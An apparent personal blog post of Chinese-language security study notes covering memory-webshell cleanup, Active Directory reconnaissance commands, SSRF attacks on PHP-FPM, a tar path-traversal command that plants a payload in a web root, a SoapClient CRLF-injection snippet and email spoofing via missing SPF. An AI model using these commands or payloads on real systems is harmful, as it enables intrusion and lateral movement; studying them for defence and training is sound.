内存马怎么手工排查,不用工具,怎么手动杀内存马

内存马如何排查:如果发现了一些内存 webshell 的痕迹,需要有一个排查的思路来进行跟踪和分析,也是根据各类型的原理,
1、如果是 jsp 注入,日志中排查可以 jsp 的访问请求。
2、如果是代码执行漏洞,排查中间件的 error.log,查看是否有可疑的报错,判断注入时间和方法。
3、根据业务使用的组件排查可能存在的 java 代码执行漏洞,spring 的 controller 类型的话根据上报 webshell 的 url 查找日志,filter 或者 listener 类型,可能会有较多的 404 但是带有参数的请求。
杀马:
终止进程:如果确认某个进程是内存马,可以尝试终止该进程。在 Windows 系统中,可以通过任务管理器或者命令行工具 taskkill 来终止进程;在 Linux 系统中,可以通过命令行工具 kill 或者 pkill 来终止进程。
删除文件:如果进程终止后,还需要删除相关的文件,以防止内存马重新启动。在 Windows 系统中,可以直接删除相关文件;在 Linux 系统中,需要先终止进程,然后再删除文件。

鱼叉和水坑

鱼叉攻击:指利用木马程序作为电子邮件的附件,发送到目标电脑上,诱导受害者去打开附件来感染木马

水坑攻击:分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,将网站攻破并植入恶意程序,等待目标访问

企业安全

跨域

IDS/IPS

  • 加密通道

  • 混淆编码

  • 分割攻击

  • 流量模仿

票据

常见内网ip

10.0.0.0/8
10.0.0.0 - 10.255.255.255
172.16.0.0/12
172.16.0.0 - 172.31.255.255
192.168.0.0/16
192.168.0.0 - 192.168.255.255

登录口

  • 注入点与万能密码
  • 不安全用户提示
  • 源代码
  • 验证码
  • 暴力破解
  • 逻辑漏洞

windows登陆成功失败

4624(成功)/4625

查询域成员和对应机器

利用userWorkstations或者组策略

1
2
adfind -sc u:micle userWorkstations
Invoke-EnumerateLocalAdmin

域内用户正在登陆的主机

  • 利用NetSessionEnum(win32 API)来寻找登陆的网络会话,一般用来查域控。【任意用户都可以】
  • 利用NetWkstaUserEnum(win32 API)列出当前登录到该机器的所有用户。【本地机器管理员】
  • 查询远程机器注册表项里 HKEY_USERS,来查看谁正在登陆该机器。【机器开启远程注册表连接】

域信任关系

1
2
3
4
5
6
7
8
9
10
11
12
13
#查询域信任关系
nltest /domain_trusts
#查询当前域与test.local域的信任关系
Get-ADTrust -Identity test.local

#获取根域信息,可查看有哪些域
powershell [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
#查看当前域信息
powershell [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
#查看当前域信任关系
powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
#查看当前域全局编录地址(根域域控地址)
powershell [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs

用户加入林外部域时,会出现在 CN=ForeignSecurityPrincipals,DC=domain,DC=com 组中。只要枚举 ForeignSecurityPrincipals 组,就可得知哪些用户具有这个外部森林的访问权限。

域控端口

1
2
3
4
5
6
7
8
9
Microsoft-DS traffic : 445/TCP 445/UDP

Kerberos : 88/TCP 88/UDP

LDAP ping : 389/UDP

DNS : 53/TCP 53/UDP

NetBIOS的相关服务 : 137/TCP 137/UDP 138/UDP 139/UDP 开放这些连续的端口,以便于通过防火墙来使用NetBIOS服务,例如支持旧客户端来登录、浏览网上邻居等。

定位域管

域管进程

  • 通过 net group “domain admins” /domain 列出域管理员组成员
  • 通过 tasklist /v 列出本地进程的所有者
  • 进行交叉处理,找到域管理进程
1
2
3
4
net group "domain admins" /domain // 查询域管理员用户组
net group "enterprise admins" /domain // 企业管理组
net localgroup administrators /domain // 登录本机的域管理员
net localgroup administrators // 本机管理员[通常含有域用户]

psloggedon.exe

psloggedon.exe //dc,通过检查注册表的HKEY USERS项的key值来查询谁登录过。

PVEFindADUser.exe(要管理员权限)

netview.exe(小部分要管理员权限)

利用 NetSessionEnum 来找寻登陆sessions, 利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。调用Api太多不是个好事。

PowerView 脚本

Invoke-UserHunter:搜索本地域中域管理员当前在线的主机,并验证当前用户是否具有对这些主机的本地管理员访问权限。它可以使用 Get-NetSessions 和Get-NetLoggedon 扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,并且无需管理员权限。

wmic 如何构造有回显的命令执行

  • 执行完写文件再读。
  • impacket 工具包的 wmiexec 直接实现了回显。
  • wmicmd 是将执行后的结果插入了注册表,然后在读取注册表中的值来完成不依赖 445 的回显。

web 零散知识

SSRF 利用 fastcgi 攻击

之前做 ctf 题也运用过工具,但是不了解原理

https://blog.csdn.net/weixin_39664643/article/details/114977217

基础知识

CGI/FASTCGI/PHP-CGI/PHP-FPM

PHP-CGI 与 PHP-FPM 是一个接口程序,CGI/FASTCGI 是服务器中间件与某个语言后端(如 PHP-FPM)之间的协议,可以将他们与客户端和服务器之间的 http 等协议做类比,网站服务器收到数据之后会根据是否是静态文件来决定需不需要给予 php 解析器来处理

gopher 协议

概念
1
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具
格式
1
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
构造方法

1.抓取一个 tcp 数据包

2.bp url 全编码

3.拼接格式

FASTCGI 协议详解

1
Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件

结构如下,头固定八个字节,body 由头中的 contentLength 决定

漏洞

利用条件

  • PHP 版本要高于 5.3.3,才能动态修改 PHP.INI 配置文件(题目环境已满足)
  • 知道题目环境中的一个 PHP 文件的绝对路径
  • PHP-FPM 监听在本机 9000 端口(题目环境已满足)

FASTCGI 攻击 PHP-FPM

PHP-FPM 默认监听 9000 端口,如果这个端口暴露在公网,则我们可以自己构造 FastCGI 协议,和 FPM 进行通信。
我们可以自己构造 FASTCGI 数据包控制 SCRIPT_FILENAME 来让 PHP-FPM 执行任意文件

利用方案

例子如下

SSRF 攻击 PHP-FPM

利用工具 gopherus 在 ssrf 利用点直接攻击即可,其原理同上

区别

一个是 PHP-FPM 直接暴露在外网会收到我们的攻击,

一个是在内网,需要 ssrf(gopher 协议)进一步利用

php 源码泄露问题

PHP<=7.4.21 时通过 php -S 的 WEB 服务器存在源码泄露漏洞,可以将 PHP 文件作为静态文件直接输出源码

tar 解压目录穿越

https://blog.csdn.net/wanmiqi/article/details/110202417

在 python 或者 Unix 下,使用 tar 压缩的文件名如果存在目录穿越,那么解压后的文件也会造成穿越

ar cPvf shell.tar ../../../../../../../../var/www/html/testupload/payload.php

pickle 反序列化

yaml 反序列化

Phpsession 特性

PHP session 反序列化漏洞原理解析 - 掘金 (juejin.cn)

  1. 利用 session 上传文件(配合文件上传)
  2. 由于 php 序列化处理器的不同导致的反序列化

CRLF 注入

每日漏洞 | CRLF 注入 - FreeBuf 网络安全行业门户

利用换行符和回车符导致注入 http 数据

Nodejs Ssrf 拆分攻击

利用的是 nodejs 对于特殊字符的转换导致不能正常过滤掉控制字符/r/n 导致的 CRLF 注入

Soap ssrf

结合 CRLF 注入:通过第二个参数控制 UA 间接可控制 content-type

SoapClient 反序列化 SSRF - 知乎 (zhihu.com)

1
2
3
4
5
'X-Forwarded-For: 127.0.0.1',

'Cookie: PHPSESSID=my_session'

);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab")); $aaa = serialize($b); $aaa = str_replace('^^',"\r\n",$aaa); $aaa = str_replace('&','&',$aaa); echo $aaa; $c = unserialize($aaa); $c->not_exists_function(); ?>

Phar 反序列化

同时存在文件上传和和一些触发 phar 协议的函数的时候可以强制触发反序列化

自动注册类函数 spl_autoload_register

假如可以上传.inc 文件,同时存在反序列化,则将 webshell 修改为 inc 文件上传,记录上传的文件名,将他作序列化之后输入到反序列化的地方即 getshell

Docker PHP 裸文件本地包含

只有文件包含但是无法上传文件,则需要利用本地文件

  1. 日志包含:由于 Docker 将日志文件重定向,包含权限不足
  2. Phpinfo 与条件竞争

我们需要获取文件名,同时需要条件竞争

  1. window 通配符
  2. session.upload_progress
  3. pearcmd.php

DNS 域传送漏洞

https://cloud.tencent.com/developer/article/1555532

DNS 备份服务器通过”域传送”从主服务器上复制数据,如果域传送被攻击者利用就会导致整个网络拓扑泄露,一般使用 privateDNS 防御(内外网分离),限制区域传送 ip 并且设置 TSIG key

利用:nslookup -type=ns 域名

然后进入交互模式 ls 列出域名–> 是否可以列出域

kali 下 dig 发送 axfr 请求,要求返回某个区域全部记录 dnsenum dnswalk 都可以

未设置 spf 导致邮箱任意伪造

https://www.cnblogs.com/wkzb/p/15401932.html
https://www.cnblogs.com/wkzb/p/15553178.html
https://mp.weixin.qq.com/s/tOOBZ1aC6SsjslCM70WKBQ 邮件伪造

SPF

Sender Policy Framework 简单来说就是通过修改 SPF 记录来导致邮件任意发送

查看方式

绕过

SPF 显然有其局限性,当用户 A 发邮件给 B,B 再转发给 C 的时候,SPF 将邮件的发件人转换为 B,这个时候就产生了 DKIM 技术

DKIM

利用了公开密钥提供了身份验证和数字签名功能防止伪造篡改。

查看方式

绕过


web知识
http://example.com/2024/09/16/web知识/
作者
z2zQAQ
发布于
2024年9月16日
许可协议